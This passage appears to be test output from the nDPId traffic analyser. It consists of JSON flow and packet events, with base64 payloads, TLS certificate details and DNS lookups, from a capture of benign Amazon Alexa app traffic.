hiwtwpJzLsjT1CXAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw="} +01203{"flow_id":159,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2952,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":301692,"pkt_caplen":632,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":632,"pkt_l4_len":598,"pkt":"ePiC0\/vCAMDKkVoBCABFAAJquBhAAPMG8Kc0VdGPrBAq2AG7llOp3L8Ft0zqfYAYAHa4sgAAAQEICm3lC6AA9or6N5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHFgMDAU0MAAFJAwAXQQTdmbnpP4Fr5ZI1YgCAhOYyjc9sYpjvH\/OqjLe3kIpRyPPyrf9Om\/\/HCcOpvYjIIn1gaUttI+YofYUnMZg3SNBtBgEBAC\/uQDLLqN5O+ThJQ+QVG7GWvM3ziNJqgtkZyPzgvKZluz+h2NGdY9eXTJc2sfMokjnSoqaqklmh9lcmzwj7UpZHwjrob576dByUr8cJqUAOcfjJSk5JFsXX05Gw1WNdEb+nHcH0qroqmJfsAQUKjlqBrzFlmiZejvqj13\/9IhrYr3PQIcofWAcNaXdDKw4bj1AVxLM7zdvwFv6AeJkn4jC2StiLa+BlPEqN7nLedCsF08Bj68Fk80kkhm0tN00EPXWikwu42X2y\/BMlqM16Jp1GjOhE9l9Nu3aKlGBjEtmgHi5NeVz2Qq6YscMwi5iovtSAAon9y1bB\/nQo5vpTnhMWAwMABA4AAAA="} +01324{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2952,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":159,"flow_packet_id":8,"flow_first_seen":1490976196223,"flow_last_seen":1490976196301,"flow_tot_l4_data_len":3928,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":491,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.143","src_port":38483,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","server_names":"amazon.com,amzn.com,uedata.amazon.com,us.amazon.com,www.amazon.com,www.amzn.com,corporate.amazon.com,buybox.amazon.com,iphone.amazon.com,yp.amazon.com,home.amazon.com,origin-www.amazon.com","ja3":"36e9ceaa96dd810482573844f78a063f","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=www.amazon.com","fingerprint":"EF:14:6C:F1:5C:4A:F8:4D:BA:83:C2:1E:6C:5B:ED:C4:FA:34:1C:3E"}} +00432{"flow_id":159,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2954,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":304178,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0Y09AAEAG+qesECrYNFXRj5ZTAbu3TOp9qdy5XYAQAWL2AAAAAQEICgD2iv5t5Qug"} +00434{"flow_id":159,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2955,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":304458,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0Y1BAAEAG+qasECrYNFXRj5ZTAbu3TOp9qdy\/BYAQAW3wTQAAAQEICgD2iv5t5Qug"} +00433{"flow_id":159,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2956,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":304589,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0Y1FAAEAG+qWsECrYNFXRj5ZTAbu3TOp9qdzBO4AQAXnuCwAAAQEICgD2iv5t5Qug"} +00605{"flow_id":159,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2959,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":335389,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AMDKkaPvePiC0\/vCCABFAACyY1JAAEAG+iasECrYNFXRj5ZTAbu3TOp9qdzBO4AYAXmTOQAAAQEICgD2iwFt5QugFgMDAEYQAABCQQRZjFZBoZQy1WSCXeEf9ZFwV+3HZUWN20zI3MZe0+VETbGd8JN8GbtCcuBMdorY8m5fszOUhn72WJDwzkI\/glPjFAMDAAEBFgMDACiR9kFTQTtEBWl5nSBVp38VhIEla9OJ3EAQEfYvWHrJEkIPeKyeQh4+"} +00505{"flow_id":159,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2961,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":370517,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ePiC0\/vCAMDKkVoBCABFAABnuBlAAPMG8qk0VdGPrBAq2AG7llOp3ME7t0zq+4AYAHbPRAAAAQEICm3lC6gA9osBFAMDAAEBFgMDAChWudD8\/Y9J6iJCqyx9UWDG+p1Ub4eVKBZ3gW7Vx+dmvGpgw45iiD\/j"} +01334{"flow_id":159,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2962,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":373815,"pkt_caplen":732,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":732,"pkt_l4_len":698,"pkt":"AMDKkaPvePiC0\/vCCABFAALOY1NAAEAG+AmsECrYNFXRj5ZTAbu3TOr7qdzBboAYAXlOFQAAAQEICgD2iwVt5QuoFwMDApWR9kFTQTtEBqum0EOS54kK\/epsHsDCbY7my0cAB1FPW0FCw21SaHYyIKUII2ByVhf9srRtUVVn6z0EqiLG2dN048J0aVusxa26nLLQ0bpNxGyBJ8ppSVBNGAnADD\/GDEqtDTrqcx2rrnqKxIZ8wW4miwQUrshxTEhQWI3Auyv7ZupuT8t0jr7+4WdRyEhhUgQDZ3DkgwELqMwy4t1a8Bz2WbLalJlVE2YmoxqeQSdHyu\/QjalHgk29L6a+XFwbzflhmufDCku1E7MCBtXII2fEec\/+0NXtnDt9Lz9gJUUsvwM2JHMwWiMotJRE3NpmjlKfztTrTsezIE7+gHjxvzGX46xTnt\/myJC82Amw8jyngPyyFkbbB7ZyaMIVKRDz69P1K8+ZFa5p7PCrUIT9FcBqp9K\/G051BsaMwnxsMa6fTuO844ng4YA31nxItBLy9dEnngHNKmof+I2MCyeDgmlQ5VGOGUdiWqAWWnOsC6N5nUFkywJmkDP7Tl4qvLaTgoxs1Uxfv+OvuPG9kehg2KICCbcs1wRgOQM86wVQTAV8CtdOsbXOy\/QXS757w3sstI7gYDyfmSNi+VMqXHtwQzEduoBvrt6ScxczDMcjXXui+gWSwLKBnzQJpnwwVEFXhRym3fXlnHviTQUFTuMqZNe9UTsQ6kPxewp2QTeIdFLUWLlOZj4hHUI0FNpp64LA\/L+b0KNo4y1ym+WB2zzAWhufnwyrxeXGj\/rBrMbhhcTEmBrl+4Oll9C4gNFYubIUi\/r1Cwm0aVNpKUyNbrEVjF6oNhDJE8deJu3ibFJMlG4cG928VDAhCH5ghY7ytmiA2E1sKnpzOkAuzYDGl0Lh2d4wEsI7U5BLlfA3nluj9HVNyeWAZ5CN"} +01335{"flow_id":159,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3019,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":600964,"pkt_caplen":732,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":732,"pkt_l4_len":698,"pkt":"AMDKkaPvePiC0\/vCCABFAALOY1RAAEAG+AisECrYNFXRj5ZTAbu3TOr7qdzBboAYAXlN\/gAAAQEICgD2ixxt5QuoFwMDApWR9kFTQTtEBqum0EOS54kK\/epsHsDCbY7my0cAB1FPW0FCw21SaHYyIKUII2ByVhf9srRtUVVn6z0EqiLG2dN048J0aVusxa26nLLQ0bpNxGyBJ8ppSVBNGAnADD\/GDEqtDTrqcx2rrnqKxIZ8wW4miwQUrshxTEhQWI3Auyv7ZupuT8t0jr7+4WdRyEhhUgQDZ3DkgwELqMwy4t1a8Bz2WbLalJlVE2YmoxqeQSdHyu\/QjalHgk29L6a+XFwbzflhmufDCku1E7MCBtXII2fEec\/+0NXtnDt9Lz9gJUUsvwM2JHMwWiMotJRE3NpmjlKfztTrTsezIE7+gHjxvzGX46xTnt\/myJC82Amw8jyngPyyFkbbB7ZyaMIVKRDz69P1K8+ZFa5p7PCrUIT9FcBqp9K\/G051BsaMwnxsMa6fTuO844ng4YA31nxItBLy9dEnngHNKmof+I2MCyeDgmlQ5VGOGUdiWqAWWnOsC6N5nUFkywJmkDP7Tl4qvLaTgoxs1Uxfv+OvuPG9kehg2KICCbcs1wRgOQM86wVQTAV8CtdOsbXOy\/QXS757w3sstI7gYDyfmSNi+VMqXHtwQzEduoBvrt6ScxczDMcjXXui+gWSwLKBnzQJpnwwVEFXhRym3fXlnHviTQUFTuMqZNe9UTsQ6kPxewp2QTeIdFLUWLlOZj4hHUI0FNpp64LA\/L+b0KNo4y1ym+WB2zzAWhufnwyrxeXGj\/rBrMbhhcTEmBrl+4Oll9C4gNFYubIUi\/r1Cwm0aVNpKUyNbrEVjF6oNhDJE8deJu3ibFJMlG4cG928VDAhCH5ghY7ytmiA2E1sKnpzOkAuzYDGl0Lh2d4wEsI7U5BLlfA3nluj9HVNyeWAZ5CN"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3210,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1490976196840,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":2707,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":160,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3210,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":840676,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"AMDKkaPvePiC0\/vCCABFAAA\/WmdAAEARM02sECrYrBAqAQqTADUAK8ZJ2BYBAAABAAAAAAAABmZscy1uYQZhbWF6b24DY29tAAABAAE="} +00645{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3210,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":160,"flow_packet_id":1,"flow_first_seen":1490976196840,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":2707,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"fls-na.amazon.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00468{"flow_id":160,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3347,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":938799,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"ePiC0\/vCAMDKkaPvCABFAABP7ApAAEARoZmsECoBrBAq2AA1CpMAO2jR2BaBgAABAAEAAAAABmZscy1uYQZhbWF6b24DY29tAAABAAHADAABAAEAAAA7AARIFc55"} +00672{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3347,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":160,"flow_packet_id":2,"flow_first_seen":1490976196840,"flow_last_seen":1490976196938,"flow_tot_l4_data_len":102,"flow_min_l4_data_len":43,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":51,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"172.16.42.1","src_port":2707,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Amazon","breed":"Acceptable","category":"Web"},"dns": {"query":"fls-na.amazon.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"72.21.206.121"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3351,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":161,"flow_packet_id":1,"flow_first_seen":1490976196942,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.121","src_port":47605,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":161,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3351,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":942963,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA85QlAAEAGaDusECrYSBXOebn1AbuZi243AAAAAKAC\/\/8K4AAAAgQFtAQCCAoA9os+AAAAAAEDAwg="} +00428{"flow_id":161,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3353,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":23104,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwSYFAAOcGXM9IFc55rBAq2AG7ufUB00CKmYtuOHASH\/5wwgAAAgQFtAEDAwY="} +00415{"flow_id":161,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3354,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":24461,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo5QpAAEAGaE6sECrYSBXOebn1AbuZi244AdNAi1AQAVe7MwAA"} +00696{"flow_id":161,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3355,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":26574,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"AMDKkaPvePiC0\/vCCABFAAD15QtAAEAGZ4CsECrYSBXOebn1AbuZi244AdNAi1AYAVcK3wAAFgMBAMgBAADEAwPgpEwF\/Xat48+4W37drUaLhGz9wRo+dbZ872q4eXXW7QAAIOrqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAe0pKAAD\/AQABAAAAABYAFAAAEWZscy1uYS5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIqqoAHQAXABgKCgABAA=="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3355,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":161,"flow_packet_id":4,"flow_first_seen":1490976196942,"flow_last_seen":1490976197026,"flow_tot_l4_data_len":313,"flow_min_l4_data_len":20,"flow_max_l4_data_len":225,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.121","src_port":47605,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00423{"flow_id":161,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3356,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":73735,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo8eNAANsGwHRIFc55rBAq2AG7ufUB00CLmYtuOFAQARy7bgAAAAAAAAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3357,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":162,"flow_packet_id":1,"flow_first_seen":1490976197297,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.121","src_port":47606,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":162,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3357,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":297649,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8At9AAEAGSmasECrYSBXOebn2AbvarIm+AAAAAKAC\/\/+uEwAAAgQFtAQCCAoA9othAAAAAAEDAwg="} +00697{"flow_id":161,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3358,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":305856,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"AMDKkaPvePiC0\/vCCABFAAD15QxAAEAGZ3+sECrYSBXOebn1AbuZi244AdNAi1AYAVcK3wAAFgMBAMgBAADEAwPgpEwF\/Xat48+4W37drUaLhGz9wRo+dbZ872q4eXXW7QAAIOrqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAe0pKAAD\/AQABAAAAABYAFAAAEWZscy1uYS5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIqqoAHQAXABgKCgABAA=="} +00429{"flow_id":162,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3361,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":355099,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw5DlAAOcGwhZIFc55rBAq2AG7ufYaDpo72qyJv3ASH\/6iLAAAAgQFtAEDAwY="} +00417{"flow_id":162,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3362,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":356307,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoAuBAAEAGSnmsECrYSBXOebn2AbvarIm\/Gg6aPFAQAVfsnQAA"} +00699{"flow_id":162,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3363,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":357234,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"AMDKkaPvePiC0\/vCCABFAAD1AuFAAEAGSausECrYSBXOebn2AbvarIm\/Gg6aPFAYAVf7IAAAFgMBAMgBAADEAwOvXx4qoD9hGvfdVqZ\/Da8Sic0\/mG13oBFGNV7wDdZlEgAAIKqqzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAexoaAAD\/AQABAAAAABYAFAAAEWZscy1uYS5hbWF6b24uY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIWloAHQAXABgqKgABAA=="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3363,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":162,"flow_packet_id":4,"flow_first_seen":1490976197297,"flow_last_seen":1490976197357,"flow_tot_l4_data_len":313,"flow_min_l4_data_len":20,"flow_max_l4_data_len":225,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"72.21.206.121","src_port":47606,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"fls-na.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00424{"flow_id":161,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3364,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":363647,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo8eRAANsGwHNIFc55rBAq2AG7ufUB00CLmYtvBVAQASy6kQAAAAAAAAAA"} +02379{"flow_id":161,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3365,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976197,"pkt_ts_usec":363795,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc8eVAANsGur5IFc55rBAq2AG7ufUB00CLmYtvBVAQASwbZwAAFgMDAGwCAABoAwPOAf88UvpX+7ZcraIGlUYPq7UQc8HBPQaYwBCIuU8KTiAtUR6zlCY0QJiHXwHjTYDYbMxvsohm\/FCDGCahoL5PjMAvAAAg\/wEAAQAACwAEAwABAgAFAAAAEAALAAkIaHR0cC8xLjEWAwMLbwsAC2sAC2gABiYwggYiMIIFCqADAgECAhAjXKYxTs1ErLy+l509p0IQMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTA3MDAwMDAwWhcNMTgwMTMwMjM1OTU5WjBrMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEaMBgGA1UEAwwRZmxzLW5hLmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCiX1uuFeHp7s\/u9RJVeIg7pSJGX